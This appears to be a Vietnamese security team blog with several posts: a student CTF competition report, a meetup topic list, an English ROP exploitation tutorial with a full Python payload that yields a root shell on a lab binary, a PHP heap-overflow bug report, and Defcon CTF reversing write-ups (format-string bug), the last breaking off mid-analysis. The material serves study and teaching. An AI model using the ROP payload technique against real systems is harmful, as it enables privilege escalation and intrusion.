SEGFAULT @ BkitSec Team vô địch VCK toàn quốc cuộc thi SV với ATTT
Vừa qua, BkitSec có hai đội tham gia cuộc thi Sinh Viên với An Toàn Thông Tin : BKPRO và SEGFAULT . Đây là cuộc thi về an toàn thông tin chính quy lớn nhất Việt Nam hiện nay. Ở vòng loại miền Nam, 5 bảng đấu với 25 đội từ những trường đại học hàng đầu tham gia, các trận đấu diễn ra hết sức gay cấn. Nhưng rất tiếc, BKPRO vì thiếu một chút may mẵn, đã sớm chia tay với cuộc chơi từ rất sớm. Kết quả chung cuộc vòng loại phía nam, SEGFAULT đạt được mục tiêu là vào chơi trận chung kết toàn quốc, nhưng vẫn chưa thực sự hài lòng vì đã để giải nhất miền nam lọt vào tay của đội ENHACK .
Sáng nay, 15/11, vòng chung kết toàn quốc đã diễn ra. Cùng với SEGFAULT và ENHACK đại diện miền nam, là hai đội KMA1 và KMA2 đến từ Học Viện Kỹ Thuật Mật Mã đại diện miền Bắc. Với tư cách là đương kim vô địch, nhiều năm liền giữ chức quán quân của cuộc thi, KMA là cái tên mà bất kì đội nào cũng phải dè chừng.
Ở vòng thi đầu tiên, phần thi kiến thức ATTT nâng cao, SEGFAULT đã rất xuất sắc dẫn đầu với 320 điểm, hơn hai đội nhì cùng điểm nhau 180 điểm. Ở câu hỏi phụ, hai đội ENHACK và KMA2 tranh nhau từng cái bấm chuông để dành quyền vào vòng trong. Ở câu hỏi phụ, một số tình huống bất ngờ đã diễn ra, làm ban giám khảo nhiều phen đau đầu. Không như vòng loại, may mắn đã không đứng về ENHACK lần nữa, và KMA2 đã dành quyền vào vòng trong, thi đấu với SEGFAULT.
Vòng thực hành, một số bài dạng tìm và tận dụng lỗi Web khá hay, nhưng do không phải là “nghề” của các thành viên SEGFAULT, nên cũng không lấy được trọng vẹn 100% điểm ở phần này. Phần còn lại là thử khả năng dùng tool của các thành viên trong đội, cũng là một thử thách rất ghê gớm. Dù các tool được cho trước là những tool có thể là quen thuộc với rất nhiều người, nhưng với SEGFAULT lại thành vấn đề lớn. Thứ nhất việc học sử dụng một tool mới chỉ dựa vào option -h thì quả là khó khăn. Hơn thế nữa, với thói quen dùng tool tự viết từ xưa đến nay, thay đổi phong cách cũng đã ngốn của SEGFAULT không ít thời gian.
Kết thúc vòng thực hành, SEGFAULT chỉ ghi được 330 điểm, KMA2 rất xuất sắc với 480 điểm.
Kết quả chung cuộc SEGFAULT dành ngôi vô địch với tổng điểm 650, tổng điểm cao nhất từ trước đến nay trong khuôn khổ cuộc thi Sinh Viên Với An Toàn Thông Tin.
Toàn thể đội SEGFAULT rất biết ơn đến BTC cuộc thi, những người đã ngàyđêm dốc sức để cuộc thi hoàn thành tốt đẹp. Và hơn nữa, là cảm ơn những người anh đã ngày ngày theo chân BkitSec, định hướng, chỉ dẫn, dạy bảo.
vnsec/bkitsec offline conference
Bắt đầu từ tuần này, mỗi sáng thứ 7 vnsec/bkitsec sẽ có một buổi thảo luận về các vấn đề liên quan tới information security. Các topic dự trù sẽ được đưa vào danh sách dự kiến va lần lượt được trình bày bởi thành viên.
Queue People/Topic/Ref:
—suto : Use after free vulnerability detection/exploitation ( Part 1) / http://cwe.mitre.org/data/definitions/416.html ( case study CVE-2010-0249 aka Aurora )
* Hầu hết các lỗi bảo mật nghiêm trọng gần đây trong web browser đều cùng một nguồn gốc từ việc quản lí đối tượng, một đối tượng bị xóa đi nhưng lại được sử dụng sau đó sẽ dẫn đến lỗi dùng-sau khi-xóa ( used after free), giả sử rằng ngay sau khi bị xóa, attacker có thể điều khiển vùng nhớ đã thuộc về nó ( bằng cách tạo đối tượng khác chẳng hạn….), thông qua việc sử dụng lại một hàm gọi trong đối tượng đó, ứng dụng bị lỗi đã hoàn toàn nằm dưới quyền điều khiển của attacker….
—g4mm4: R.I.P blind sql injection….
* Blind SQL injection với một nhược điểm là phải đoán từng kí tự kéo theo đó là việc tạo ra nhiều request liên tục để kiểm thử, g4mm4 đã tìm ra một giải pháp để chỉ sử dụng 1 request cho việc này……
—caonguyen: static vulnerability detection via machine code.(Part 1)
/ http://www.phrack.com/issues.html?issue=64&id=8
* Không có source code trong tay, làm sao để xác định xem một phần mềm, một ứng dụng hay một thư viện (động hay tĩnh) có ẩn chứa trong nó nguy cơ nào về bảo mật hay không? caonguyen sẽ trình bày những khái niệm căn bản để tiếp cận với quy trình xây dựng một công cụ kiểm tra lỗ hổng cho mã máy ….
Advisor: xichzo/rd .
Time/Place: /TBA
PS: Mọi ý kiến thắc mắc hay yêu cầu chủ đề các bạn vui lòng comment phía dưới!
Advance exploitation: ROP with libc function
Advance exploitation: ROP with libc function
http://auntitled.blogspot.com/2011/09/rop-with-common-functions-in.html
http://research.shell-storm.org/files/research-18-en.phpI used the example in auntitled blog. This code is simple (just like helloworld in exploitation):
int main(int argc, char **argv) { char buf[64]; strcpy(buf, argv[1]); return 0; }
But can we exploit this buffer overflow with:
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o testfoo testfoo.c $ checksec.sh --file testfoo RELRO STACK CANARY NX PIE FILE Full RELRO No canary found NX enabled No PIE testfo $ cat /proc/sys/kernel/randomize_va_space 2 $ uname -a Linux Freedom 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
– With relro compiled option, we can’t use instructions to modify the got entry. RELRO option makes each entry in the .got session become read-only after relocation by the linker. RELRO is not well known memory corruption mitigation technique
– With Ubuntu 11.10 with full ASLR
– Just there no stack canary and no position-independent executable (PIE)
You can get compiled binary from here
So, how to exploit with NX, ASLR, RELRO, Ascii-armor, etc …?
The answer is Return-Oriented Programming (ROP). The ideal of ROP is quite simple, but how to use it is not easy (at least right to me)
Some references about ROP if you are not familiar with this exploit technique:
– http://en.wikipedia.org/wiki/Return-oriented_programming
– http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
OK, let’s start exploit.
The fist thing when starting generate an exploit is what we want to do.
In this example, I’ll try to make a ROP payload that like when we call a function in C:
execute("/bin/sh",0,0)
We need to do:
– Make an address that point to execve function that was loaded in memory (Note: ASLR make this address change each time we execute the binary)
– Make an “/bin/sh” string or “/bin//sh” (8 bytes), it’s not exist in memory at fixed address (if any).
The stack that we must make to ROP exploit woking look like:
NULL NULL address[/bin//sh] address[exit] address[execve]
That like a stack of C program when execve(“/bin//sh”,0,0) is called.
So, how can we have an address of execve?
$ objdump -R testfoo testfoo: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 08049ff0 R_386_JUMP_SLOT strcpy 08049ff4 R_386_JUMP_SLOT __gmon_start__ 08049ff8 R_386_JUMP_SLOT __libc_start_main
As you can see, there is no execve in source code and in GOT entry too.
But we have strcpy – a libc function, then we can calculate the offset from strcy to execve. This offset does not change by ASLR.
gdb$ p execve - strcpy $1 = 0x25ba0
Because the offset between execve and strcpy always do not change, we can use the strcpy address (in GOT entry) plus the offset (0x25ba0 – calculated as above) to get the execve address.
Next, we need to make “/bin//sh” exists at fixed address (we can put it in .data or .bss session).
There are two solution:
– Use strcpy and copy one-by-one (or more if any) byte to specified address.
– Use assembly instruction (add or mov) to modify memory at specified address.
I will use the second, because it’s more generic than the first. We just only use the sequence of instructions to build the payload.
When building a ROP payload, there are some problems:
– Find gadget that can change value of some registers
– Find gadget that can store controllable value (from registers or immediate values) to specified memory address.
– Find gadget that can loaded value form specified memory address.
In the __do_global_ctors_aux function, we have:
gdb$ x/3i 0x080484b7 0x80484b7 <__do_global_ctors_aux+39>: pop ebx 0x80484b8 <__do_global_ctors_aux+40>: pop ebp 0x80484b9 <__do_global_ctors_aux+41>: ret
So, we can change value of EBX register (and EBP too).
Build gadget in python:
def pop_ebx(ebx): ret = pack("<i", 0x80484b7) ret += pack("<i", ebx) ret += "AAAA" return ret
Still in the __do_global_ctors_aux function we have:
gdb$ x/5i 0x80484ae 0x80484ae <__do_global_ctors_aux+30>: add eax,DWORD PTR [ebx-0xb8a0008] 0x80484b4 <__do_global_ctors_aux+36>: add esp,0x4 0x80484b7 <__do_global_ctors_aux+39>: pop ebx 0x80484b8 <__do_global_ctors_aux+40>: pop ebp 0x80484b9 <__do_global_ctors_aux+41>: ret
EBX register is controllable, then we can load value from specified address to EAX register.
def add_from_mem_to_eax(addr): ebx = addr + 0xb8a0008 ret = pop_ebx(ebx) ret += pack("<i", 0x80484ae) ret += "A"*0xc return ret
In the __do_global_dtors_aux function, you can see like this:
gdb$ x/2i 0x80483ae 0x80483ae <__do_global_dtors_aux+78>: add DWORD PTR [ebx+0x5d5b04c4],eax 0x80483b4 <__do_global_dtors_aux+84>: ret
Both EAX and EBX registers are controllable, and we can modify a specified memory address with selected value.
def add_eax_to_mem(addr): ebx = addr - 0x5d5b04c4 ret = pop_ebx(ebx) ret += pack("<i", 0x80483ae) return ret
There is a problem: We can add a selected value (from memory) to EAX register, it look like EAX = EAX + seleted_value. To totally control value of EAX register, we must set EAX register value before using it.
gdb$ x/7i 0x08048426 0x8048426 <__libc_csu_init+22>: lea edi,[ebx-0xec] 0x804842c <__libc_csu_init+28>: call 0x80482b4 <_init> 0x8048431 <__libc_csu_init+33>: lea eax,[ebx-0xec] 0x8048437 <__libc_csu_init+39>: sub edi,eax 0x8048439 <__libc_csu_init+41>: sar edi,0x2 0x804843c <__libc_csu_init+44>: test edi,edi 0x804843e <__libc_csu_init+46>: je 0x8048469 <__libc_csu_init+89> gdb$ x/6i 0x8048469 0x8048469 <__libc_csu_init+89>: add esp,0x1c 0x804846c <__libc_csu_init+92>: pop ebx 0x804846d <__libc_csu_init+93>: pop esi 0x804846e <__libc_csu_init+94>: pop edi 0x804846f <__libc_csu_init+95>: pop ebp 0x8048470 <__libc_csu_init+96>: ret
It looks complicated, but it’s very useful. EBX register can be controlled, and then, we can set both EDI and EAX register with any value by lea (load effective address) instruction. Ignore the call _init function, it’s not have any effect in here.
Because EDI and EAX have same value, the sub instruction will make EDI equal zero, the execution will happen as we want to.
def set_eax_and_add_to_mem(value, addr): eax = value - 0x804a008 ebx = eax + 0xec ret = pop_ebx(ebx) ret += pack("<i", 0x08048426) ret += "A"*0x2c ebx = addr - 0x5d5b04c4 ret += pop_ebx(ebx) ret += pack("<i", 0x80483a9) return ret
With:
gdb$ x/3i 0x80483a9 0x80483a9 <__do_global_dtors_aux+73>: add eax,0x804a008 0x80483ae <__do_global_dtors_aux+78>: add DWORD PTR [ebx+0x5d5b04c4],eax 0x80483b4 <__do_global_dtors_aux+84>: ret
And finally, we just need one more gatget to control execution flaw:
def set_ebp_for_leave_ret(addr): ebp = addr - 4 # pop ebp ; ret ret = pack("<i", 0x80484b8) ret += pack("<i", ebp) # leave ; ret ret += pack("<i", 0x80483e1) return ret
Last python function is combine all gatget function (defined as above) to build a payload:
def exploit(eip_offset): # offset to saved EIP ret = "A"*eip_offset # GOT entry of strcpy strcpy_got = 0x08049ff0 # offset between execve and strcpy execve_strcpy = 0x25ba0 # specified stack layout address data = 0x0804a138 # set eax = offset of execve - strcyp = 0x25ba0 (with my libc version) # we do not use 4 bytes store at data address ret += set_eax_and_add_to_mem(execve_strcpy, data) # read GOT entry of strcpy and add to eax # execve = offset + strcpy # with RELRO, this entry cannot write ret += add_from_mem_to_eax(strcpy_got) # add execve address to specified address ret += add_eax_to_mem(data+4) # write "/bin//sh" to data+90 (we can chose any writable address) ret += set_eax_and_add_to_mem(unpack("<i","/bin")[0], data+90) ret += set_eax_and_add_to_mem(unpack("<i","//sh")[0], data+94) shell = data + 90 # to avoid NULL byte in payload, we must write one-by-one byte in here # Ignore 4 bytes (from data+8), it's return address if execve() failed. byte = shell & 0xffffff00 ^ shell ret += set_eax_and_add_to_mem(byte, data+12) byte = (shell & 0xffff00ff ^ shell) >> 8 ret += set_eax_and_add_to_mem(byte, data+13) byte = (shell & 0xff00ffff ^ shell) >> 16 ret += set_eax_and_add_to_mem(byte, data+14) byte = (shell & 0x00ffffff ^ shell) >> 24 ret += set_eax_and_add_to_mem(byte, data+15) # all done, just move esp to our stack layout and ret to execve() ret += set_ebp_for_leave_ret(data+4) # check again if there is NULL byte if '\x00' in ret: print 'WARNING: NULL byte problem' sys.exit(1) # print the payload to stdout print ret
Time to run exploit:
$ ls -l testfoo -rwsr-xr-x 1 root caonguyen 7087 2011-10-16 01:32 testfoo $ ./testfoo `python exploit.py ` # id uid=1000(caonguyen) gid=1000(caonguyen) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(caonguyen) #
PWNED
php 5.3.8(latest) memory corruption issues
Sau khi audit một số code của php mình tìm ra được 2 bug liên quan đến việc kiểm tra độ dài của chuỗi nhận vào. Cụ thể như sau:
Trong function parse_ini_string:
char *string = NULL, *str = NULL; int str_len = 0; zend_bool process_sections = 0; long scanner_mode = ZEND_INI_SCANNER_NORMAL; zend_ini_parser_cb_t ini_parser_cb; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|bl", &str, &str_len, &process_sections, &scanner_mode) == FAILURE) { RETURN_FALSE; } /* Set callback function */ if (process_sections) { BG(active_ini_file_section) = NULL; ini_parser_cb = (zend_ini_parser_cb_t) php_ini_parser_cb_with_sections; } else { ini_parser_cb = (zend_ini_parser_cb_t) php_simple_ini_parser_cb; } /* Setup string */ string = (char *) emalloc(str_len + ZEND_MMAP_AHEAD); memcpy(string, str, str_len); memset(string + str_len, 0, ZEND_MMAP_AHEAD);
Ở :
string = (char *) emalloc(str_len + ZEND_MMAP_AHEAD);
giả sử string input vào có độ lớn là (INT_MAX – 1) lúc này khi cộng vào với ZEND_MMAP_AHEAD sẽ dẫn tới tràn số ( INT_MAX – 1 + ZEND_MMAP_AHEAD) = 31, và string sẽ được malloc với độ dài 31 nhưng sau đó sẽ bị copy vào một chuỗi với độ dài rất lớn dẫn tới tràn heap.
## PHP đã fix bug này ở revison 316285 sau khi mình report.
Defcon 19 Gold
gold: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.2, stripped
Chuong trinh chay duoi quyen User “gold” ve co ban la mot game nho khi nguoi choi ket noi toi port 2069 se nhan duoc huong dan nhu sau:
# nc -vv localhost 2069 nc: connect to localhost port 2069 (tcp) failed: Connection refused Connection to localhost 2069 port [tcp/*] succeeded! You are in a green room (2,2,2) You can see:sledge, gold, gold Possible exits:nowhere You are carrying:nothing _north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit >
Dich nguoc lai tu file thuc thi cua game phan co ban tuong tac voi nguoi choi o cac ham sau:
void __cdecl handleSock(int fd) { int iloop; // esi@1 int i; // ebx@1 unsigned int time; // eax@1 int v4; // eax@2 char v5; // bl@3 int v6; // ebx@9 int v7; // edx@10 bool v8; // eax@11 iloop = 0; i = 0; time = ::time(0); srand(time); do{ unk_804D440[i] = calcVal(0, 3); v4 = calcVal(0, 3); unk_804D448[i] = iloop++; unk_804D444[i] = v4; i += 3; } while ( iloop != 4 ); v5 = 0; currentStatus = (ItemInfo *)sub_8049D40(1, 3, 0); intArr2[0] = calcVal(0, 3); intArr2[1] = calcVal(0, 3); intArr2[2] = calcVal(0, 3); intArr3[0] = calcVal(0, 3); intArr3[1] = calcVal(0, 3); intArr3[2] = calcVal(0, 3); while ( !(unsigned __int8)calcVal1(intArr2) ){ if ( v5 ) goto LABEL_13; if ( (unsigned __int8)calcVal1(intArr3) ){ if ( !buff512 ){ send3(fd, "You can't see anything around you\n"); send3(fd, "_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit\n> \n"); buff512 = (char *)malloc(512u); if ( read1(fd, (int)buff512, 512, '\n') > 0 ) buff512[512] = 0; } } startGame(fd); v5 = playGame(fd); } v6 = 0; send3(fd,"At the end you reached the goal room! I don't know\nif you enjoyed the trip, nor if you've found what you\nwas searching for... I only hope you know better how\nto curse now!!\n\n"); if ( holdItem ){ v7 = 0; do{ v8 = playerItems[v7++] == 3; v6 += v8;} while ( v7 != holdItem ); } send3(fd, "You earned %d pieces of gold\n\n", v6); LABEL_13: endGame(); }
O ham startGame:
int __cdecl startGame(int sockfd) { ItemInfo *v1; // eax@4 signed int v2; // ebx@6 int v3; // eax@10 ItemInfo *v4; // ecx@11 int v5; // edx@15 int i; // ebx@17 int v7; // esi@17 unsigned int v8; // ebx@22 unsigned int v9; // esi@22 int v10; // eax@25 int v12; // eax@33 itemCarry[0] = 0; send3(sockfd, "You are in "); if ( LOBYTE(currentStatus[1].direction[1]) ) send3(sockfd, "the "); else send3(sockfd, "a "); send3(sockfd, "%s (%d,%d,%d)\n", gameOutput[currentStatus[1].direction[0]], current[0], current[1], current[2]); send3(sockfd, "You can see:"); itemCarry[0] = 4; if ( unk_804D440[3 * current[2]] == current[0] && unk_804D444[3 * current[2]] == current[1] ){ resetGameItems(currentStatus->itemList, (int)¤tStatus->itemRemain, 2); v12 = 3 * current[2]; unk_804D440[3 * current[2]] = -1; unk_804D444[v12] = -1; } v1 = currentStatus; if ( currentStatus->itemRemain ){ if ( currentStatus->itemRemain > 0 ){ v2 = 0; do{ v3 = gameOutput[v1->itemList[v2] + 10]; if ( !v3 ) v3 = (int)buff512; send3(sockfd, "%s", v3); v4 = currentStatus; if ( currentStatus->itemRemain - 1 > v2 ){ send3(sockfd, ", "); v4 = currentStatus; } if ( v2 == 6 * v2 / 6 ) itemCarry[0] += v2 > 0; ++v2; v1 = v4; }while ( v4->itemRemain > v2 ); } } else{ send3(sockfd, "nothing"); } v5 = 7; if ( itemCarry[0] > 5 ) v5 = itemCarry[0] + 1; itemCarry[0] = v5; i = 0; v7 = 0; send3(sockfd, "\nPossible exits:"); do{ if ( currentStatus->direction[i] ){ ++v7; send3(sockfd, "%s ", *(_DWORD *)&strDirection[4 * i]);} ++i; }while ( i != 6 ); if ( !v7 ) send3(sockfd, "nowhere"); itemCarry[0] += 2; v8 = 0; v9 = 0; send3(sockfd, "\nYou are carrying:"); if ( holdItem ){ do{ while ( 1 ){ v10 = gameOutput[playerItems[v8] + 10]; if ( !v10 ) v10 = (int)buff512; send3(sockfd, "%s", v10); if ( holdItem - 1 > v9 ) break; ++v8; v9 = v8; if ( holdItem <= v8 ) goto LABEL_28; } ++v8; v9 = v8; send3(sockfd, ", "); }while ( holdItem > v8 ); } else{ send3(sockfd, "nothing"); } LABEL_28: itemCarry[0] += 2; send3(sockfd, "\n_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit"); return send3(sockfd, "\n> \n"); }
Phan nay co ban se tinh toan ra cac thong so ban dau cua game va hien thi ra vi tri, cac item co the nhin thay….
Tiep theo la ham xu li playGame:
signed int __cdecl playGame(int fd) { BYTE *choose; // eax@1 BYTE *choose1; // edi@1 int numItem_; // ebx@2 signed int j; // ecx@3 int v5; // eax@4 char *v7; // ebx@13 char *v8; // eax@13 ItemInfo *v9; // esi@13 int indexDir; // eax@13 int *currenStatus_; // esi@19 int i; // ebx@21 int v13; // eax@23 int dir; // [sp+18h] [bp-10h]@13 while ( 2 ){ choose = recv_1byte(fd); choose1 = choose; switch ( choose ) { default: continue; case 'x': numItem_ = holdItem; if ( holdItem > 1u ){ j = 1; do{ v5 = playerItems[j]; playerItems[j] = gameItems[j]; gameItems[j++] = v5; }while ( j != numItem_ ); } return 0; case 'r': if ( (unsigned __int8)dropItem(fd) ) return 0; continue; case 'h': if ( hit(fd) ) return 0; continue; case 'g': if ( currentStatus->itemRemain ){ if ( getItem(fd) ) return 0; } else{ send3(fd, "there's nothing I can get\n"); } continue; case 'd': case 'e': case 'n': case 's': case 'u': case 'w': v7 = direction; v8 = strchr(direction, (int)choose); v9 = currentStatus; indexDir = v8 - v7; dir = indexDir; if ( !currentStatus->direction[indexDir] )// EndMap{ send3(fd, "can't go %s\n", *(_DWORD *)&strDirection[4 * indexDir]); continue; } if ( holdItem ){ if ( choose1 != (BYTE *)'u' && choose1 != (BYTE *)'d' ) goto LABEL_17; if ( gameItems[holdItem] == 2 ) goto LABEL_35; send3(fd, "Hm, I need to use a ladder...\n"); continue; } if ( choose1 == (BYTE *)'u' || choose1 == (BYTE *)'d' ){ LABEL_35: dropItem(fd); v9 = currentStatus;} LABEL_17: LOBYTE(v9[1].direction[1]) = 1; current[0] += Map1[3 * dir]; current[1] += Map2[3 * dir]; current[2] += Map3[3 * dir]; currentStatus = (ItemInfo *)v9->direction[dir]; return 0; case 'b': ddtek_backdoor(fd, 0); continue; case 'X': currenStatus_ = (int *)currentStatus; if ( currentStatus->itemRemain > 1 && currentStatus->itemRemain - 1 > 0 ){ for ( i = 0; ; ++i ){ v13 = currenStatus_[i + 6]; currenStatus_[i + 6] = currenStatus_[i + 7]; currenStatus_[i + 7] = v13; if ( currenStatus_[26] - 1 <= i + 1 ) break; } } return 0; case 'Q': send3(fd, "quit"); return 1; case 'a': if ( (unsigned __int8)Arm(fd) ) return 0; continue; } } }
Chuong trinh se thuc hien vong lap de nhan input tu nguoi choi, voi moi truong hop chon se goi ra 1 ham xu li tuong ung, lay thi du nguoi choi chon vao ‘g’ tuc la GetItem, chuong trinhse thuc hien ham tuong ung:
bool __cdecl getItem(int a1) { int indexItem; // ecx@1 ItemInfo *status; // edx@2 int avai; // eax@2 int t; // eax@3 bool result; // eax@4 indexItem = holdItem; if ( holdItem == 25 ){ send3(a1, "You are carrying too much!\n"); result = 0; } else{ status = currentStatus; avai = currentStatus->itemRemain; if ( avai > 0 ){ t = avai - 1; currentStatus->itemRemain = t; playerItems[indexItem] = status->itemList[t]; holdItem = indexItem + 1; } result = 1; } return result; }
Trong truong hop nguoi choi chon ‘a’ chuong trinh se thuc hien:
int __cdecl Arm(int a1) { int item; // eax@2 int result; // eax@6 char buff[512]; // [sp+10h] [bp-208h]@10 if ( holdItem ){ item = playerItems[holdItem - 1]; if ( item == 4 ){ send3(a1, "Sledge already armed and ready to fire!\n"); result = 0; } else{ if ( item == 1 ){ playerItems[holdItem - 1] = 4; // set to Armed result = 1; } else{ send3(a1, "I can't arm "); if ( gameOutput[gameItems[holdItem] + 10] ){ send3(a1, (const char *)gameOutput[gameItems[holdItem] + 10]); } else{ snprintf(buff, 0x200u, buff512); send3(a1, buff); } send3(a1, "\n"); result = 0; } } } else{ send3(a1, "What should I arm?!\n"); result = 0; } return result; }
O dong:
snprintf(buff, 0x200u, buff512);
chuong trinh bi loi format string.
DC19 Quals Retro 400 WriteUp
Retro 400 là một bài về VM khá phức tạp, vấn đề chính xoay quanh việc reverse để tìm ra cú pháp của vmcode để có thể input vào và tìm ra bug trong việc xử lí input của vm.
Bắt đầu với function được gọi sau khi start chương trình:
void __cdecl sub_80496F0(signed int a1, int a2) { char v2; // zf@1 signed int v3; // ecx@1 signed int v4; // ebx@1 int v5; // edi@1 char *v6; // esi@1 int v7; // [sp+0h] [bp-114h]@1 char s; // [sp+4h] [bp-110h]@1 signed int *v9; // [sp+108h] [bp-Ch]@1 __int64 v10; // [sp+114h] [bp+0h]@1 HIDWORD(v10) = &v10; v5 = (int)"HistoryRepeatsItself\n"; v9 = &a1; v4 = a1; v6 = &s; v7 = a2; fwrite("Password: ", 1u, 0xAu, off_80D3368); fgets(&s, 256, off_80D3360); v3 = 22; do { if ( !v3 ) break; v2 = *v6++ == *(_BYTE *)v5++; --v3; } while ( v2 ); if ( v2 ) { sub_8048AE0(v4, v7); while ( 1 ) sub_8048DE0(); } exit(0); }
Ở đây chương trình sẽ đọc và kiểm tra PassWord so với chuỗi HistoryRepeatsItself, nếu đúng sẽ gọi sub_8048AE0 với tham số là argv[1] và argv[2]. Tiếp tục với sub_8048AE0:
int __cdecl sub_8048AE0(signed int a1, int a2) { FILE *v2; // esi@2 int i; // edi@4 size_t v4; // eax@5 size_t v5; // ebx@5 int v6; // eax@7 int v7; // edi@8 int v8; // esi@8 void *v9; // eax@10 int v10; // ebx@10 char v11; // cl@12 int v12; // eax@15 int j; // ecx@21 int v14; // eax@22 char v15; // dl@22 char v16; // dl@23 int v17; // eax@24 int result; // eax@26 int v19; // eax@31 void *v20; // [sp+18h] [bp-420h]@4 char ptr; // [sp+1Ch] [bp-41Ch]@5 int v22; // [sp+41Ch] [bp-1Ch]@30 int v23; // [sp+420h] [bp-18h]@30 char *v24; // [sp+424h] [bp-14h]@30 int v25; // [sp+428h] [bp-10h]@30 if ( a1 <= 1 ) { v2 = off_80D3360; dword_80E4FC0 = 0; dword_80E49A0 = 0; } else { dword_80E49A0 = a2 + 8; dword_80E4FC0 = a1 - 2; v2 = fopen(*(const char **)(a2 + 4), "r"); } if ( !v2 ) { perror(*(const char **)a2); exit(0); } v20 = 0; for ( i = 0; ; memcpy_0((void *)(i + v19 - v5), &ptr, v5) ) { while ( 1 ) { v4 = fread(&ptr, 1u, 0x400u, v2); v5 = v4; if ( v4 != -1 ) break; if ( *(_DWORD *)sub_807B300() != 4 && *(_DWORD *)sub_807B300() != 35 ) goto LABEL_35; } if ( !v4 ) break; i += v4; v19 = realloc(v20, i); if ( !v19 ) goto LABEL_35; v20 = (void *)v19; } v6 = malloc1(i); dword_80E49A8 = 0; dword_80E4FCC = v6; dword_80E49A4 = v6; dword_80E49AC = v6; if ( !v6 ) goto LABEL_35; v7 = (int)((char *)v20 + i); v8 = (int)v20; while ( v8 < (unsigned int)v7 ) { while ( 1 ) { while ( 1 ) { v9 = memchr((const void *)v8, 10, v7 - v8); v10 = (int)v9; if ( v9 ) break; v10 = v7 - 1; if ( v8 < (unsigned int)(v7 - 1) ) goto LABEL_12; LABEL_29: if ( *(_BYTE *)v8 == ' ' ) goto LABEL_30; LABEL_21: for ( j = v8 + 1; j < (unsigned int)v10; dword_80E49AC = v14 + 1 ) { v14 = dword_80E49AC; v15 = *(_BYTE *)j++; *(_BYTE *)dword_80E49AC = v15; } v16 = *(_BYTE *)j; if ( *(_BYTE *)j != '\n' ) { v17 = dword_80E49AC; ++j; *(_BYTE *)dword_80E49AC = v16; dword_80E49AC = v17 + 1; } v8 = j + 1; if ( j + 1 >= (unsigned int)v7 ) goto LABEL_26; } if ( v8 >= (unsigned int)v9 ) goto LABEL_29; LABEL_12: v11 = *(_BYTE *)v8; if ( *(_BYTE *)v8 == ' ' ) break; if ( v11 == '\t' ) break; LABEL_14: v8 = v10 + 1; } v12 = v8; while ( 1 ) { ++v12; if ( v12 == v10 ) break; while ( *(_BYTE *)v12 != ' ' ) { if ( *(_BYTE *)v12 != '\t' ) goto LABEL_14; ++v12; if ( v12 == v10 ) goto LABEL_20; } } LABEL_20: if ( v11 != ' ' ) goto LABEL_21; LABEL_30: v25 = v10 - (v8 + 1); v24 = (char *)(v8 + 1); v8 = v10 + 1; sub_80487B0((struc_2 *)&v24, (struc_2 *)&v22); sub_8048A20(v22, v23); } LABEL_26: result = dword_80E4FCC; if ( dword_80E4FCC == dword_80E49AC ) LABEL_35: exit(0); return result; }
Một cách cơ bản function này sẽ làm những thao tác sau:
Đọc file từ argv2 được đưa vào, đưa nội dung vào một buffer.
Đọc từng dòng thông qua việc tìm “\n” trong buffer. Đối với mỗi dòng nó sẽ tìm kiếm ” “( Space ) và “\t” (Tab), nếu không có nó sẽ tiếp tục qua dòng tiếp theo.
Nếu có sẽ dùng 1 con trỏ tạm thời tăng dần lên, khi gặp một kí tự nào đó không phải space và tab thì quay lại vòng lặp bên trên để đi đến dòng tiếp theo.
Nếu đến cuối dòng mà không gặp kí tự nào khác thì sẽ kiểm tra xem kí tự đầu tiên có phải là ” ” hay không. Nếu đúng thì sẽ chuyển qua gọi 2 function là sub_80487B0 và sub_8048A20. Cụ thể 2 hàm này làm gì sẽ nói rõ ở phía sau.
Nếu như kí tự đầu tiên là “\t” ( tưc là khác Space ) thì chưowng trình sẽ nhảy lại lên trên để tính toán số lượng kí tự space hoặc tab và đưa vào địa chỉ dword_80E49AC.
Tổng kết lại có thể thấy cú pháp chương trình sẽ bao gồm các kí tự Space và Tab kết thúc là “\n”.
Ở Function: sub_8048A20
nt __cdecl sub_8048A20(int AddressOfArg, int numberArg) { int v2; // ebx@1 void *v3; // eax@2 int result; // eax@2 int v5; // edx@2 v2 = dword_80E49A8; if ( !(dword_80E49A8 & 0x3FF) ) { dword_80E4FC4 = (void *)realloc(dword_80E4FC4, 12 * dword_80E49A8 + 0x3000); if ( !dword_80E4FC4 ) { fwrite("Out of memory!\n", 1u, 0xFu, off_80D3368); exit(0); } v2 = dword_80E49A8; } v3 = dword_80E4FC4; *((_DWORD *)dword_80E4FC4 + 3 * v2) = AddressOfArg; v5 = dword_80E49AC; *((_DWORD *)v3 + 3 * v2 + 2) = numberArg; *((_DWORD *)v3 + 3 * v2 + 1) = v5; result = v2 + 1; dword_80E49A8 = v2 + 1; return result; }
Trong quá trình debug mình tìm ra thông số đưa vào của function này chính là địa chỉ cùa buff và số lượng các kí tự Space/Tab của dòng đó. Cho nên sau khi function sub_8048AE0 kết thúc sẽ có một vài điểm cần lưu ý:
Với file input là:
shell python -c ‘print “\x09″*6+”\x20″+”\x09″+”\x20″*7+”\x20″+”\x09″*7+”\x20″+”\x09″*7+”\x0a”‘ > a
Tại lúc bắt đầu :0x8048de0: push ebp
Các giá trị như sau:
gdb$ x/4wx 0x080e49a4
0x80e49a4: 0x28107070 0x00000000 0x2810708f 0x00000000
gdb$ x/4wx 0x28107070
0x28107070: 0x09090909 0x20092009 0x20202020 0x09202020
gdb$ x/4wx 0x80E4FCC
0x80e4fcc: 0x28107070 0x00000000 0x00000000 0x00000000
gdb$ x/4wx 0x080e49ac
0x80e49ac: 0x2810708f 0x00000000 0x00000000 0x00000000
Cuối cùng là function để đọc và thực thi code VM:
